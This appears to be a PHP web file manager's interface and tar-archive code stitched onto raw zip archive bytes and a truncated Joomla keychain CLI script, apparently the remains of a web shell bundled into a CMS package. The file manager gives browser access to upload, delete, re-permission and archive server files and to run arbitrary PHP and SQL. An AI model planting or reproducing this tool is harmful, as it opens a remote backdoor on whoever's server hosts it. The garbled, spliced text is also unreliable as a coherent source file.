				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     <?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     <?php } ?>
                    
		     </td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}PK       ! Kx"  "    bin.zipnu [        PK       ! ߄B        
  index.htmlnu bS        <!DOCTYPE html><title></title>
PK       ! u        keychain.phpnu bS        #!/usr/bin/env php
<?php
/**
 * @package    Joomla.Platform
 *
 * @copyright  (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license    GNU General Public License version 2 or later; see LICENSE.txt
 *
 */

// @deprecated  4.0  Deprecated without replacement

// We are a valid entry point.
define('_JEXEC', 1);

// Load system defines
if (file_exists(dirname(__DIR__) . '/defines.php'))
{
	require_once dirname(__DIR__) . '/defines.php';
}

if (!defined('_JDEFINES'))
{
	define('JPATH_BASE', dirname(__DIR__));
	require_once JPATH_BASE . '/includes/defines.php';
}

// Get the framework.
require_once JPATH_LIBRARIES . '/import.legacy.php';

// Bootstrap the CMS libraries.
require_once JPATH_LIBRARIES . '/cms.php';

// Import the configuration.
require_once JPATH_CONFIGURATION . '/configuration.php';

// System configuration.
$config = new JConfig;

// Configure error reporting to maximum for CLI output.
error_reporting(E_ALL);
ini_set('display_errors', 1);

/**
 * Keychain Manager.
 *
 * @since  3.1.4
 */
class KeychainManager extends JApplicationCli
{
	/**
	 * @var    boolean  A flag if the keychain has been updated to trigger saving the keychain
	 * @since  3.1.4
	 */
	protected $updated = false;

	/**
	 * @var    JKeychain  The keychain object being manipulated.
	 * @since  3.1.4
	 */
	protected $keychain = null;

	/**
	 * Execute the application
	 *
	 * @return  void
	 *
	 * @since   3.1.4
	 */
	public function execute( )
	{
		if (!count($this->input->args))
		{
			// Check if they passed --help in otherwise display short usage summary
			if ($this->input->get('help', false) === false)
			{
				$this->out("usage: {$this->input->executable} [options] [command] [<args>]");
				exit(1);
			}
			else
			{
				$this->displayHelp();
				exit(0);
			}
		}

		// For all tasks but help and init we use the keychain
		if (!in_array($this->input->args[0], array('help', 'init')))
		{
			$this->loadKeychain();
		}

		switch ($this->input->args[0])
		{
			case 'init':
				$this->initPassphraseFile();
				break;
			case 'list':
				$this->listEntries();
				break;
			case 'create':
				$this->create();
				break;
			case 'change':
				$this->change();
				break;
			case 'delete':
				$this->delete();
				break;
			case 'read':
				$this->read();
				break;
			case 'help':
				$this->displayHelp();
				break;
			default:
				$this->out('Invalid command.');
				break;
		}

		if ($this->updated)
		{
			$this->saveKeychain();
		}

		exit(0);
	}

	/**
	 * Load the keychain from a file.
	 *
	 * @return  void
	 *
	 * @since   3.1.4
	 */
	protected function loadKeychain()
	{
		$keychain = $this->input->get('keychain', '', 'raw');
		$publicKeyFile = $this->input->get('public-key', '', 'raw');
		$passphraseFile = $this->input->get('passphrase', '', 'raw');

		$this->keychain = new JKeychain;

		if (file_exists($keychain))
		{
			if (file_exists($publicKeyFile))
			{
				$this->keychain->loadKeychain($keychain, $passphraseFile, $publicKeyFile);
			}
			else
			{
				$this->out('Public key not specified or missing!');
				exit(1);
			}
		}
	}

	/**
	 * Save this keychain to a file.
	 *
	 * @return  void
	 *
	 * @since   3.1.4
	 */
	protected function saveKeychain()
	{
		$keychain = $this->input->get('keychain', '', 'raw');
		$publicKeyFile = $this->input->get('public-key', '', 'raw');
		$passphraseFile = $this->input->get('passphrase', '', 'raw');

		if (!file_exists($publicKeyFile))
		{
			$this->out("Public key file specified doesn't exist: $publicKeyFile");
			exit(1);
		}

		$this->keychain->saveKeychain($keychain, $passphraseFile, $publicKeyFile);
	}

	/**
	 * Initialise a new passphrase file.
	 *
	 * @return  void
	 *
	 * @since   3.1.4
	 */
	protected function initPassphraseFile()
	{
		$keychain = new JKeychain;

		$passphraseFile = $this->input->get('passphrase', '', 'raw');
		$privateKeyFile = $this->input->get('private-key', '', 'raw');

		if (!strlen($passphraseFile))
		{
			$this->out('A passphrase file must be specified with --passphrase');
			exit(1);
		}

		if (!file_exists($privateKeyFile))
		{
			$this->out("protected key file specified doesn't exist: $privateKeyFile");
			exit(1);
		}

		$this->out('Please enter the new passphrase:');
		$passphrase = $this->in();

		$this->out('Please enter the passphrase for the protected key:');
		$privateKeyPassphrase = $this->in();

		$keychain->createPassphraseFile($passphrase, $passphraseFile, $privateKeyFile, $privateKeyPassphrase);
	}

	/**
	 * Create a new entry
	 *
	 * @return  void
	 *
	 * @since   3.1.4
	 */
	protected function create()
	{
		if (count($this->input->args) != 3)
		{
			$this->out("usage: {$this->input->executable} [options] create entry_name entry_value");
			exit(1);
		}

		if ($this->keychain->exists($this->input->args[1]))
		{
			$this->out('error: entry already exists. To change this entry, use "change"');
			exit(1);
		}

		$this->change();
	}

	/**
	 * Change an existing entry to a new value or create an entry if missing.
	 *
	 * @return  void
	 *
	 * @since   3.1.4
	 */
	protected function change()
	{
		if (count($this->input->args) != 3)
		{
			$this->out("usage: {$this->input->executable} [options] change entry_name entry_value");
			exit(1);
		}

		$this->updated = true;
		$this->keychain->setValue($this->input->args[1], $this->input->args[2]);
	}

	/**
	 * Read an entry from the keychain
	 *
	 * @return  void
	 *
	 * @since   3.1.4
	 */
	protected function read()
	{
		if (count($this->input->args) != 2)
		{
			$this->out("usage: {$this->input->executable} [options] read entry_name");
			exit(1);
		}

		$key = $this->input->args[1];
		$this->out($key . ': ' . $this->dumpVar($this->keychain->get($key)));
	}

	/**
	 * Get the string from var_dump
	 *
	 * @param   mixed  $var  The variable you want to have dumped.
	 *
	 * @return  string  The result of var_dump
	 *
	 * @since   3.1.4
	 */
	private function dumpVar($var)
	{
		ob_start();
		var_dump($var);
		$result = trim(ob_get_contents());
		ob_end_clean();

		return $result;
	}

	/**
	 * Delete an entry from the keychain
	 *
	 * @return  void
	 *
	 * @since   3.1.4
	 */
	protected function delete()
	{
		if (count($this->input->args) != 2)
		{
			$this->out("usage: {$this->input->executable} [options] delete entry_name");
			exit(1);
		}

		$this->updated = true;
		$this->keychain->deleteValue($this->input->args[1]);
	}

	/**
	 * List entries in the keychain
	 *
	 * @return  void
	 *
	 * @since   3.1.4
	 */
	protected function listEntries()
	{
		foreach ($this->keychain->toArray() as $key => $value)
		{
			$line = $key;

			if ($this->input->get('print-values'))
			{
				$line .= ': ' . $this->dumpVar($value);
			}

			$this->out($line);
		}
	}

	/**
	 * Display the help information
	 *
	 * @return  void
	 *
	 * @since   3.1.4
	 */
	protected function displayHelp()
	{
/*
COMMANDS

 - list
 - create entry_name entry_value
 - change entry_name entry_value
 - delete entry_name
 - read   entry_name
*/

		$help = <<<HELP
Keychain Management Utility

usage: {$this->input->executable} [--keychain=/path/to/keychain]
	[--passphrase=/path/to/passphrase.dat] [--public-key=/path/to/public.pem]
	[command] [<args>]

OPTIONS

  --keychain=/path/to/keychain
    Path to a keychain file to manipulate.

  --passphrase=/path/to/passphrase.dat
    Path to a passphrase file containing the encryption/decryption key.

  --public-key=/path/to/public.pem
    Path to a public key file to decrypt the passphrase file.


COMMANDS

  list:
    Usage: list [--print-values]
    Lists all entries in the keychain. Optionally pass --print-values to print the values as well.

  create:
    Usage: create entry_name entry_value
    Creates a new entry in the keychain called "entry_name" with the plaintext value "entry_value".
    NOTE: This is an alias for change.

  change:
    Usage: change entry_name entry_value
    Updates the keychain entry called "entry_name" with the value "entry_value".

  delete:
    Usage: delete entry_name
    Removes an entry called "entry_name" from the keychain.

  read:
    Usage: read entry_name
    Outputs the plaintext value of "entry_name" from the keychain.

  init:
    Usage: init
    Creates a new passphrase file and prompts for a new passphrase.

HELP;
		$this->out($help);
	}
}

try
{
	JApplicationCli::getInstance('KeychainManager')->execute();
}
catch (Exception $e)
{
